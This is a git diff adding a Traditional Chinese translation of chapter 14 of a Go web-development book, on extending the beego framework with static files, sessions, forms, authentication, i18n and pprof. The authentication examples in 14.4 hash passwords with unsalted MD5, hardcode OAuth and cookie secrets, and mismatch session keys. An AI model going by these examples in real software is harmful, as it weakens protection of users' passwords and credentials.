的工具進行介紹,第一小節介紹如何處理靜態檔案,如何利用現有的 twitter 開源的 bootstrap 進行快速的開發美觀的站點,第二小節介紹如何利用前面介紹的 session 來進行使用者登入處理,第三小節介紹如何方便的輸出表單、這些表單如何進行資料驗證,如何快速的結合 model 進行資料的增刪改操作,第四小節介紹如何進行一些使用者認證,包括 http basic 認證、http digest 認證,第五小節介紹如何利用前面介紹的 i18n 支援多語言的應用開發。第六小節介紹了如何整合 Go 的 pprof 套件用於效能除錯。 + +透過本章的擴充套件,beego 框架將具有快速開發 Web 的特性,最後我們將講解如何利用這些擴充套件的特性擴充套件開發第十三章開發的部落格系統,透過開發一個完整、美觀的部落格系統讓讀者了解 beego 開發帶給你的快速。 + +## 目錄 +![](images/navi14.png) + +## links + * [目錄]() + * 上一章:[第十三章總結](<13.6.md>) + * 下一節:[靜態檔案支援](<14.1.md>) \ No newline at end of file diff --git a/zh-tw/14.1.md b/zh-tw/14.1.md new file mode 100644 index 000000000..e3600aecd --- /dev/null +++ b/zh-tw/14.1.md @@ -0,0 +1,84 @@ +# 14.1 靜態檔案支援 +我們在前面已經講過如何處理靜態檔案,這小節我們詳細的介紹如何在 beego 裡面設定和使用靜態檔案。透過再介紹一個 twitter 開源的 html、css 框架 bootstrap,無需大量的設計工作就能夠讓你快速地建立一個漂亮的站點。 + +## beego 靜態檔案實現和設定 +Go 的 net/http 套件中提供了靜態檔案的服務,`ServeFile`和 `FileServer` 等函式。beego 的靜態檔案處理就是基於這一層處理的,具體的實現如下所示: + +```Go + +//static file server +for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + w.started = true + return + } +} +``` +StaticDir 裡面儲存的是相應的 url 對應到靜態檔案所在的目錄,因此在處理 URL 請求的時候只需要判斷對應的請求地址是否包含靜態處理開頭的 url,如果包含的話就採用 http.ServeFile 提供服務。 + +舉例如下: + +```Go + +beego.StaticDir["/asset"] = "/static" +``` +那麼請求 url 如`http://www.beego.me/asset/bootstrap.css`就會請求`/static/bootstrap.css`來提供反饋給客戶端。 + +## bootstrap 整合 +Bootstrap 是 Twitter 推出的一個開源的用於前端開發的工具套件。對於開發者來說,Bootstrap 是快速開發 Web 應用程式的最佳前端工具套件。它是一個 CSS 和 HTML 的集合,它使用了最新的 HTML5 標準,給你的 Web 開發提供了時尚的版式,表單,按鈕,表格,網格系統等等。 + +- 元件 +  Bootstrap 中包含了豐富的 Web 元件,根據這些元件,可以快速的建立一個漂亮、功能完備的網站。其中包括以下元件: +  下拉選單、按鈕組、按鈕下拉選單、導航、導覽列、麵套件屑、分頁、排版、縮圖、警告對話方塊、進度條、媒體物件等 +- Javascript 外掛 +  Bootstrap 自帶了 13 個 jQuery 外掛,這些外掛為 Bootstrap 中的元件賦予了“生命”。其中包括: +  模式對話方塊、標籤頁、滾動條、彈出框等。 +- 訂製自己的框架程式碼 +  可以對 Bootstrap 中所有的 CSS 變數進行修改,依據自己的需求裁剪程式碼。 + +![](images/14.1.bootstrap.png) + +圖 14.1 bootstrap 站點 + +接下來我們利用 bootstrap 整合到 beego 框架裡面來,快速的建立一個漂亮的站點。 + +1. 首先把下載的 bootstrap 目錄放到我們的專案目錄,取名為 static,如下截圖所示 + + ![](images/14.1.bootstrap2.png) + + 圖 14.2 專案中靜態檔案目錄結構 + +2. 因為 beego 預設設定了 StaticDir 的值,所以如果你的靜態檔案目錄是 static 的話就無須再增加了: + +```Go + +StaticDir["/static"] = "static" +``` +3. 範本中使用如下的地址就可以了: + +```html + + //css 檔案 + + + //js 檔案 + + + //圖片檔案 + +``` +上面可以實現把 bootstrap 整合到 beego 中來,如下展示的圖就是整合進來之後的展現效果圖: + +![](images/14.1.bootstrap3.png) + +圖 14.3 建構的基於 bootstrap 的站點介面 + +這些範本和格式 bootstrap 官方都有提供,這邊就不再重複貼程式碼,大家可以上 bootstrap 官方網站學習如何編寫範本。 + + +## links + * [目錄]() + * 上一節:[擴充套件 Web 框架](<14.0.md>) + * 下一節:[Session 支援](<14.2.md>) \ No newline at end of file diff --git a/zh-tw/14.2.md b/zh-tw/14.2.md new file mode 100644 index 000000000..e26de4791 --- /dev/null +++ b/zh-tw/14.2.md @@ -0,0 +1,121 @@ +# 14.2 Session 支援 +第六章的時候我們介紹過如何在 Go 語言中使用 session,也實現了一個 sessionManger,beego 框架基於 sessionManager 實現了方便的 session 處理功能。 + +## session 整合 +beego 中主要有以下的全域性變數來控制 session 處理: + +```Go + +//related to session +SessionOn bool // 是否開啟 session 模組,預設不開啟 +SessionProvider string // session 後端提供處理模組,預設是 sessionManager 支援的 memory + +SessionName string // 客戶端儲存的 cookies 的名稱 +SessionGCMaxLifetime int64 // cookies 有效期 + +GlobalSessions *session.Manager //全域性 session 控制器 +``` +當然上面這些變數需要初始化值,也可以按照下面的程式碼來配合配置檔案以設定這些值: + +```Go + +if ar, err := AppConfig.Bool("sessionon"); err != nil { + SessionOn = false +} else { + SessionOn = ar +} +if ar := AppConfig.String("sessionprovider"); ar == "" { + SessionProvider = "memory" +} else { + SessionProvider = ar +} +if ar := AppConfig.String("sessionname"); ar == "" { + SessionName = "beegosessionID" +} else { + SessionName = ar +} +if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 { + int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64) + SessionGCMaxLifetime = int64val +} else { + SessionGCMaxLifetime = 3600 +} +``` +在 beego.Run 函式中增加如下程式碼: + +```Go + +if SessionOn { + GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime) + go GlobalSessions.GC() +} +``` +這樣只要 SessionOn 設定為 true,那麼就會預設開啟 session 功能,獨立開一個 goroutine 來處理 session。 + +為了方便我們在自訂 Controller 中快速使用 session,作者在`beego.Controller`中提供了如下方法: + +```Go + +func (c *Controller) StartSession() (sess session.Session) { + sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request) + return +} +``` +## session 使用 +透過上面的程式碼我們可以看到,beego 框架簡單地繼承了 session 功能,那麼在專案中如何使用呢? + +首先我們需要在應用的 main 入口處開啟 session: + +```Go + +beego.SessionOn = true +``` + +然後我們就可以在控制器的相應方法中如下所示的使用 session 了: + +```Go + +func (this *MainController) Get() { + var intcount int + sess := this.StartSession() + count := sess.Get("count") + if count == nil { + intcount = 0 + } else { + intcount = count.(int) + } + intcount = intcount + 1 + sess.Set("count", intcount) + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.Data["Count"] = intcount + this.TplNames = "index.tpl" +} +``` +上面的程式碼展示了如何在控制邏輯中使用 session,主要分兩個步驟: + +1. 取得 session 物件 + +```Go + + //取得物件,類似 PHP 中的 session_start() + sess := this.StartSession() +``` + +2. 使用 session 進行一般的 session 值操作 + +```Go + + //取得 session 值,類似 PHP 中的$_SESSION["count"] + sess.Get("count") + + //設定 session 值 + sess.Set("count", intcount) +``` +從上面程式碼可以看出基於 beego 框架開發的應用中使用 session 相當方便,基本上和 PHP 中呼叫`session_start()`類似。 + + +## links + * [目錄]() + * 上一節:[靜態檔案支援](<14.1.md>) + * 下一節:[表單及驗證支援](<14.3.md>) \ No newline at end of file diff --git a/zh-tw/14.3.md b/zh-tw/14.3.md new file mode 100644 index 000000000..31f9a6491 --- /dev/null +++ b/zh-tw/14.3.md @@ -0,0 +1,290 @@ + +# 14.3 表單及驗證支援 +在 Web 開發中對於這樣的一個流程可能很眼熟: + +- 開啟一個網頁顯示出表單。 +- 使用者填寫並提交了表單。 +- 如果使用者提交了一些無效的資訊,或者可能漏掉了一個必填項,表單將會連同使用者的資料和錯誤問題的描述資訊回傳。 +- 使用者再次填寫,繼續上一步過程,直到提交了一個有效的表單。 + +在接收端,指令碼必須: + +- 檢查使用者提交的表單資料。 +- 驗證資料是否為正確的型別,合適的標準。例如,如果一個使用者名稱被提交,它必須被驗證是否只包含了允許的字元。它必須有一個最小長度,不能超過最大長度。使用者名稱不能與已存在的他人使用者名稱重複,甚至是一個保留字等。 +- 過濾資料並清理不安全字元,保證邏輯處理中接收的資料是安全的。 +- 如果需要,預格式化資料(資料需要清除空白或者經過 HTML 編碼等等。) +- 準備好資料,插入資料庫。 + +儘管上面的過程並不是很複雜,但是通常情況下需要編寫很多程式碼,而且為了顯示錯誤資訊,在網頁中經常要使用多種不同的控制結構。建立表單驗證雖簡單,實施起來實在枯燥無味。 + +## 表單和驗證 +對於開發者來說,一般開發過程都是相當複雜,而且大多是在重複一樣的工作。假設一個場景專案中忽然需要增加一個表單資料,那麼區域性程式碼的整個流程都需要修改。我們知道 Go 裡面 struct 是常用的一個數據結構,因此 beego 的 form 採用了 struct 來處理表單資訊。 + +首先定義一個開發 Web 應用時相對應的 struct,一個欄位對應一個 form 元素,透過 struct 的 tag 來定義相應的元素資訊和驗證資訊,如下所示: + +```Go + +type User struct{ + Username string `form:text,valid:required` + Nickname string `form:text,valid:required` + Age int `form:text,valid:required|numeric` + Email string `form:text,valid:required|valid_email` + Introduce string `form:textarea` +} +``` +定義好 struct 之後接下來在 controller 中這樣操作 + +```Go + +func (this *AddController) Get() { + this.Data["form"] = beego.Form(&User{}) + this.Layout = "admin/layout.html" + this.TplNames = "admin/add.tpl" +} +``` +在範本中這樣顯示錶單 +```html + +

New Blog Post

+
+{{.form.render()}} +
+``` +上面我們定義好了整個的第一步,從 struct 到顯示錶單的過程,接下來就是使用者填寫資訊,伺服器端接收資料然後驗證,最後插入資料庫。 + +```Go + +func (this *AddController) Post() { + var user User + form := this.GetInput(&user) + if !form.Validates() { + return + } + models.UserInsert(&user) + this.Ctx.Redirect(302, "/admin/index") +} +``` +## 表單型別 +以下列表列出來了對應的 form 元素資訊: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名稱參數功能描述
textNotextbox 輸入框
buttonNo按鈕
checkboxNo多選擇框
dropdownNo下拉選擇框
fileNo檔案上傳
hiddenNo隱藏元素
passwordNo密碼輸入框
radioNo單選框
textareaNo文字輸入框
+ + +## 表單驗證 +以下列表將列出可被使用的原生規則 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
規則參數描述舉例
requiredNo如果元素為空,則回傳 FALSE 
matchesYes如果表單元素的值與參數中對應的表單欄位的值不相等,則回傳 FALSEmatches[form_item]
is_uniqueYes如果表單元素的值與指定資料表欄位有重複,則回傳 False(譯者注:比如 is_unique[User.Email],那麼驗證類別會去查詢 User 表中 Email 欄位有沒有與表單元素一樣的值,如存重複,則回傳 false,這樣開發者就不必另寫 Callback 驗證程式碼。)is_unique[table.field]
min_lengthYes如果表單元素值的字元長度少於參數中定義的數字,則回傳 FALSEmin_length[6]
max_lengthYes如果表單元素值的字元長度大於參數中定義的數字,則回傳 FALSEmax_length[12]
exact_lengthYes如果表單元素值的字元長度與參數中定義的數字不符,則回傳 FALSEexact_length[8]
greater_thanYes如果表單元素值是非數字型別,或小於參數定義的值,則回傳 FALSEgreater_than[8]
less_thanYes如果表單元素值是非數字型別,或大於參數定義的值,則回傳 FALSEless_than[8]
alphaNo如果表單元素值中包含除字母以外的其他字元,則回傳 FALSE 
alpha_numericNo如果表單元素值中包含除字母和數字以外的其他字元,則回傳 FALSE 
alpha_dashNo如果表單元素值中包含除字母/數字/下劃線/破折號以外的其他字元,則回傳 FALSE 
numericNo如果表單元素值中包含除數字以外的字元,則回傳 FALSE 
integerNo如果表單元素中包含除整數以外的字元,則回傳 FALSE 
decimalYes如果表單元素中輸入(非小數)不完整的值,則回傳 FALSE 
is_naturalNo如果表單元素值中包含了非自然數的其他數值 (其他數值不包括零),則回傳 FALSE。自然數形如:0,1,2,3....等等。 
is_natural_no_zeroNo如果表單元素值包含了非自然數的其他數值 (其他數值包括零),則回傳 FALSE。非零的自然數:1,2,3.....等等。 
valid_emailNo如果表單元素值包含不合法的 email 地址,則回傳 FALSE 
valid_emailsNo如果表單元素值中任何一個值包含不合法的 email 地址(地址之間用英文逗號分割),則回傳 FALSE。 
valid_ipNo如果表單元素的值不是一個合法的 IP 地址,則回傳 FALSE。 
valid_base64No如果表單元素的值包含除了 base64 編碼字元之外的其他字元,則回傳 FALSE。 
+ + +## links + * [目錄]() + * 上一節:[Session 支援](<14.2.md>) + * 下一節:[使用者認證](<14.4.md>) + diff --git a/zh-tw/14.4.md b/zh-tw/14.4.md new file mode 100644 index 000000000..58f9bb5a8 --- /dev/null +++ b/zh-tw/14.4.md @@ -0,0 +1,275 @@ +# 14.4 使用者認證 +在開發 Web 應用過程中,使用者認證是開發者經常遇到的問題,使用者登入、註冊、登出等操作,而一般認證也分為三個方面的認證 + +- HTTP Basic 和 HTTP Digest 認證 +- 第三方整合認證:QQ、微博、豆瓣、OPENID、google、GitHub、facebook 和 twitter 等 +- 自訂的使用者登入、註冊、登出,一般都是基於 session、cookie 認證 + +beego 目前沒有針對這三種方式進行任何形式的整合,但是可以充分的利用第三方開源函式庫來實現上面的三種方式的使用者認證,不過後續 beego 會對前面兩種認證逐步整合。 + +## HTTP Basic 和 HTTP Digest 認證 +這兩個認證是一些應用採用的比較簡單的認證,目前已經有開源的第三方函式庫支援這兩個認證: + +```Go + +github.com/abbot/go-http-auth +``` +下面程式碼示範了如何把這個函式庫引入 beego 中從而實現認證: + +```Go + +package controllers + +import ( + "github.com/abbot/go-http-auth" + "github.com/astaxie/beego" +) + +func Secret(user, realm string) string { + if user == "john" { + // password is "hello" + return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1" + } + return "" +} + +type MainController struct { + beego.Controller +} + +func (this *MainController) Prepare() { + a := auth.NewBasicAuthenticator("example.com", Secret) + if username := a.CheckAuth(this.Ctx.Request); username == "" { + a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request) + } +} + +func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" +} +``` +上面程式碼利用了 beego 的 prepare 函式,在執行正常邏輯之前呼叫了認證函式,這樣就非常簡單的實現了 http auth,digest 的認證也是同樣的原理。 + +## oauth 和 oauth2 的認證 +oauth 和 oauth2 是目前比較流行的兩種認證方式,還好第三方有一個函式庫實現了這個認證,但是是國外實現的,並沒有 QQ、微博之類別的國內應用認證整合: + +```Go + +github.com/bradrydzewski/go.auth +``` +下面程式碼示範了如何把該函式庫引入 beego 中從而實現 oauth 的認證,這裡以 GitHub 為例示範: + +1. 新增兩條路由 + +```Go + +beego.RegisterController("/auth/login", &controllers.GithubController{}) +beego.RegisterController("/mainpage", &controllers.PageController{}) +``` +2. 然後我們處理 GithubController 登陸的頁面: + +```Go +package controllers + +import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" +) + +const ( + githubClientKey = "a0864ea791ce7e7bd0df" + githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca" +) + +type GithubController struct { + beego.Controller +} + +func (this *GithubController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + githubHandler := auth.Github(githubClientKey, githubSecretKey) + + githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request) +} +``` + +3. 處理登陸成功之後的頁面 + +```Go +package controllers + +import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" + "net/http" + "net/url" +) + +type PageController struct { + beego.Controller +} + +func (this *PageController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + user, err := auth.GetUserCookie(this.Ctx.Request) + + //if no active user session then authorize user + if err != nil || user.Id() == "" { + http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther) + return + } + + //else, add the user to the URL and continue + this.Ctx.Request.URL.User = url.User(user.Id()) + this.Data["pic"] = user.Picture() + this.Data["id"] = user.Id() + this.Data["name"] = user.Name() + this.TplNames = "home.tpl" +} +``` + +整個的流程如下,首先開啟瀏覽器輸入地址: + +![](images/14.4.github.png) + +圖 14.4 顯示帶有登入按鈕的首頁 + +然後點選連結出現如下介面: + +![](images/14.4.github2.png) + +圖 14.5 點選登入按鈕後顯示 GitHub 的授權頁 + +然後點選 Authorize app 就出現如下介面: + +![](images/14.4.github3.png) + +圖 14.6 授權登入之後顯示的取得到的 GitHub 資訊頁 + +## 自訂認證 +自訂的認證一般都是和 session 結合驗證的,如下程式碼來源於一個基於 beego 的開源部落格: + +```Go + +//登陸處理 +func (this *LoginController) Post() { + this.TplNames = "login.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + if userInfo.Password == newPass { + var users models.User + users.Last_logintime = now + models.UpdateUserInfo(users) + + //登入成功設定 session + + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + + this.Ctx.Redirect(302, "/") + } +} + +//註冊處理 +func (this *RegController) Post() { + this.TplNames = "reg.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + usererr := checkUsername(username) + fmt.Println(usererr) + if usererr == false { + this.Data["UsernameErr"] = "Username error, Please to again" + return + } + + passerr := checkPassword(password) + if passerr == false { + this.Data["PasswordErr"] = "Password error, Please to again" + return + } + + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + + if userInfo.Username == "" { + var users models.User + users.Username = username + users.Password = newPass + users.Created = now + users.Last_logintime = now + models.AddUser(users) + + //登入成功設定 session + + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + this.Ctx.Redirect(302, "/") + } else { + this.Data["UsernameErr"] = "User already exists" + } + +} + +func checkPassword(password string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok { + return false + } + return true +} + +func checkUsername(username string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok { + return false + } + return true +} +``` +有了使用者登陸和註冊之後,其他模組的地方可以增加如下這樣的使用者是否登陸的判斷: + +```Go + +func (this *AddBlogController) Prepare() { + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess_uid := sess.Get("userid") + sess_username := sess.Get("username") + if sess_uid == nil { + this.Ctx.Redirect(302, "/admin/login") + return + } + this.Data["Username"] = sess_username +} +``` +## links + * [目錄]() + * 上一節:[表單及驗證支援](<14.3.md>) + * 下一節:[多語言支援](<14.5.md>) diff --git a/zh-tw/14.5.md b/zh-tw/14.5.md new file mode 100644 index 000000000..70a00c887 --- /dev/null +++ b/zh-tw/14.5.md @@ -0,0 +1,130 @@ + +# 14.5 多語言支援 +我們在第十章介紹過國際化和本地化,開發了一個 go-i18n 函式庫,這小節我們將把該函式庫整合到 beego 框架裡面來,使得我們的框架支援國際化和本地化。 + +## i18n 整合 +beego 中設定全域性變數如下: + +```Go + +Translation i18n.IL +Lang string //設定語言套件,zh、en +LangPath string //設定語言套件所在位置 +``` +初始化多語言函式: + +```Go + +func InitLang(){ + beego.Translation:=i18n.NewLocale() + beego.Translation.LoadPath(beego.LangPath) + beego.Translation.SetLocale(beego.Lang) +} +``` +為了方便在範本中直接呼叫多語言套件,我們設計了三個函式來處理回應的多語言: + +```Go + +beegoTplFuncMap["Trans"] = i18n.I18nT +beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate +beegoTplFuncMap["TransMoney"] = i18n.I18nMoney + +func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Translate(s) +} + +func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Time(s) +} + +func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Money(s) +} +``` +## 多語言開發使用 +1. 設定語言以及語言套件所在位置,然後初始化 i18n 物件: + +```Go + +beego.Lang = "zh" +beego.LangPath = "views/lang" +beego.InitLang() +``` +2. 設計多語言套件 + + + 上面講了如何初始化多語言套件,現在設計多語言套件,多語言套件是 json 檔案,如第十章介紹的一樣,我們需要把設計的檔案放在 LangPath 下面,例如 zh.json 或者 en.json +```json + +# zh.json + +{ +"zh": { + "submit": "提交", + "create": "建立" + } +} + +# en.json + +{ +"en": { + "submit": "Submit", + "create": "Create" + } +} +``` +3. 使用語言套件 + + + 我們可以在 controller 中呼叫翻譯取得回應的翻譯語言,如下所示: + +```Go + +func (this *MainController) Get() { + this.Data["create"] = beego.Translation.Translate("create") + this.TplNames = "index.tpl" +} +``` + 我們也可以在範本中直接呼叫回應的翻譯函式: + +```Go + +//直接文字翻譯 +{{.create | Trans}} + +//時間翻譯 +{{.time | TransDate}} + +//貨幣翻譯 +{{.money | TransMoney}} +``` +## links + * [目錄]() + * 上一節:[使用者認證](<14.4.md>) + * 下一節:[pprof 支援](<14.6.md>) + diff --git a/zh-tw/14.6.md b/zh-tw/14.6.md new file mode 100644 index 000000000..e11dbed52 --- /dev/null +++ b/zh-tw/14.6.md @@ -0,0 +1,116 @@ +# 14.6 pprof 支援 +Go 語言有一個非常棒的設計就是標準函式庫裡面帶有程式碼的效能監聽工具,在兩個地方有套件: + +```Go + +net/http/pprof + +runtime/pprof +``` +其實 net/http/pprof 中只是使用 runtime/pprof 套件來進行封裝了一下,並在 http 埠上暴露出來 + +## beego 支援 pprof + +目前 beego 框架新增了 pprof,該特性預設是不開啟的,如果你需要測試效能,檢視相應的執行 goroutine 之類別的資訊,其實 Go 的預設套件"net/http/pprof"已經具有該功能,如果按照 Go 預設的方式執行 Web,預設就可以使用,但是由於 beego 重新封裝了 ServHTTP 函式,預設的套件是無法開啟該功能的,所以需要對 beego 的內部改造支援 pprof。 + +- 首先在 beego.Run 函式中根據變數是否自動載入效能套件 + +```Go + +if PprofOn { + BeeApp.RegisterController(`/debug/pprof`, &ProfController{}) + BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{}) +} +``` +- 設計 ProfController + +```Go + +package beego + +import ( + "net/http/pprof" +) + +type ProfController struct { + Controller +} + +func (this *ProfController) Get() { + switch this.Ctx.Param[":pp"] { + default: + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "": + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "cmdline": + pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request) + case "profile": + pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request) + case "symbol": + pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request) + } + this.Ctx.ResponseWriter.WriteHeader(200) +} +``` + +## 使用入門 + +透過上面的設計,你可以透過如下程式碼開啟 pprof: + +```Go + +beego.PprofOn = true +``` +然後你就可以在瀏覽器中開啟如下 URL 就看到如下介面: +![](images/14.6.pprof.png) + +圖 14.7 系統當前 goroutine、heap、thread 資訊 + +點選 goroutine 我們可以看到很多詳細的資訊: + +![](images/14.6.pprof2.png) + +圖 14.8 顯示當前 goroutine 的詳細資訊 + +我們還可以透過命令列取得更多詳細的資訊 + +```Go + +go tool pprof http://localhost:8080/debug/pprof/profile +``` +這時候程式就會進入 30 秒的 profile 收集時間,在這段時間內拼命重新整理瀏覽器上的頁面,儘量讓 cpu 佔用效能產生資料。 + + (pprof) top10 + + Total: 3 samples + + 1 33.3% 33.3% 1 33.3% MHeap_AllocLocked + + 1 33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors + + 1 33.3% 100.0% 1 33.3% runtime.sigprocmask + + 0 0.0% 100.0% 1 33.3% MCentral_Grow + + 0 0.0% 100.0% 2 66.7% main.Compile + + 0 0.0% 100.0% 2 66.7% main.compile + + 0 0.0% 100.0% 2 66.7% main.run + + 0 0.0% 100.0% 1 33.3% makeslice1 + + 0 0.0% 100.0% 2 66.7% net/http.(*ServeMux).ServeHTTP + + 0 0.0% 100.0% 2 66.7% net/http.(*conn).serve + + (pprof)web + +![](images/14.6.pprof3.png) + +圖 14.9 展示的執行流程資訊 + +## links + * [目錄]() + * 上一節:[多語言支援](<14.5.md>) + * 下一節:[小結](<14.7.md>) diff --git a/zh-tw/14.7.md b/zh-tw/14.7.md new file mode 100644 index 000000000..e533398fb --- /dev/null +++ b/zh-tw/14.7.md @@ -0,0 +1,6 @@ +# 14.7 小結 +這一章主要闡述了如何基於 beego 框架進行擴充套件,這包括靜態檔案的支援,靜態檔案主要講述了如何利用 beego 進行快速的網站開發,利用 bootstrap 建立漂亮的站點;第二小結講解了如何在 beego 中整合 sessionManager,方便使用者在利用 beego 的時候快速的使用 session;第三小結介紹了表單和驗證,基於 Go 語言的 struct 的定義使得我們在開發 Web 的過程中從重複的工作中解放出來,而且加入了驗證之後可以儘量做到資料安全,第四小結介紹了使用者認證,使用者認證主要有三方面的需求,http basic 和 http digest 認證,第三方認證,自訂認證,透過程式碼示範了如何利用現有的第三方套件整合到 beego 應用中來實現這些認證;第五小節介紹了多語言的支援,beego 中集成了 go-i18n 這個多語言套件,使用者可以很方便的利用該函式庫開發多語言的 Web 應用;第六小節介紹了如何整合 Go 的 pprof 套件,pprof 套件是用於效能除錯的工具,透過對 beego 的改造之後集成了 pprof 套件,使得使用者可以利用 pprof 測試基於 beego 開發的應用,透過這六個小節的介紹我們擴展出來了一個比較強壯的 beego 框架,這個框架足以應付目前大多數的 Web 應用,使用者可以繼續發揮自己的想象力去擴充套件,我這裡只是簡單的介紹了我能想的到的幾個比較重要的擴充套件。 + +## links + * [目錄]() + * 上一節:[pprof 支援](<14.6.md>) \ No newline at end of file diff --git a/zh-tw/README.md b/zh-tw/README.md new file mode 100644 index 000000000..27782a0ce --- /dev/null +++ b/zh-tw/README.md @@ -0,0 +1,33 @@ +# 使用 Golang 打造 Web 應用程式 + +這本書是專為 Golang 新手開發者所寫,原始內容皆來自 [Build Web Application with Golang](https://github.com/astaxie/build-web-application-with-golang) 專案,感謝所有貢獻者的付出與努力,希望大家會喜歡。 + +## Purpose + +Because I'm interested in web application development, I used my free time to write this book as an open source version. It doesn't mean that I have a very good ability to build web applications; I would like to share what I've done with Go in building web applications. + +* For those of you who are working with PHP/Python/Ruby, you will learn how to build a web application with Go. +* For those of you who are working with C/C++, you will know how the web works. + +I believe the purpose of studying is sharing with others. The happiest thing in my life is sharing everything I've known with more people. + +## Acknowledgments + +* [四月份平民 April Citizen](https://plus.google.com/110445767383269817959) (review code) +* [洪瑞琦 Hong Ruiqi](https://github.com/hongruiqi) (review code) +* [边 疆 BianJiang](https://github.com/border) (write the configurations about Vim and Emacs for Go development) +* [欧林猫 Oling Cat](https://github.com/OlingCat) (review code) +* [吴文磊 Wenlei Wu](spadesacn@gmail.com) (provide some pictures) +* [北极星 Polaris](https://github.com/polaris1119) (review whole book) +* [雨 痕 Rain Trail](https://github.com/qyuhen) (review chapter 2 and 3) + +## License + +This book is licensed under the [CC BY-SA 3.0 License](http://creativecommons.org/licenses/by-sa/3.0/), the code is licensed under a [BSD 3-Clause License](https://github.com/astaxie/build-web-application-with-golang/blob/master/LICENSE.md), unless otherwise specified. + +## 正體中文翻譯 + +* **Will 保哥** + * [Blog (The Will Will Web)](https://blog.miniasp.com/) + * [Twitter (Will Huang)](https://twitter.com/Will_Huang) + * [Facebook (Will 保哥的技術交流中心)](https://www.facebook.com/will.fans/) \ No newline at end of file diff --git a/zh-tw/SUMMARY.md b/zh-tw/SUMMARY.md new file mode 100644 index 000000000..59ba35299 --- /dev/null +++ b/zh-tw/SUMMARY.md @@ -0,0 +1,96 @@ +* [Go 環境配置](01.0.md) + * [Go 安裝](01.1.md) + * [GOPATH 與工作空間](01.2.md) + * [Go 命令](01.3.md) + * [Go 開發工具](01.4.md) + * [小結](01.5.md) +* [Go 語言基礎](02.0.md) + * [你好,Go](02.1.md) + * [Go 基礎](02.2.md) + * [流程和函式](02.3.md) + * [struct](02.4.md) + * [物件導向](02.5.md) + * [interface](02.6.md) + * [併發](02.7.md) + * [小結](02.8.md) +* [Web 基礎](03.0.md) + * [web 工作方式](03.1.md) + * [Go 建立一個簡單的 web 服務](03.2.md) + * [Go 如何使得 web 工作](03.3.md) + * [Go 的 http 套件詳解](03.4.md) + * [小結](03.5.md) +* [表單](04.0.md) + * [處理表單的輸入](04.1.md) + * [驗證表單的輸入](04.2.md) + * [預防跨站指令碼](04.3.md) + * [防止多次提交表單](04.4.md) + * [處理檔案上傳](04.5.md) + * [小結](04.6.md) 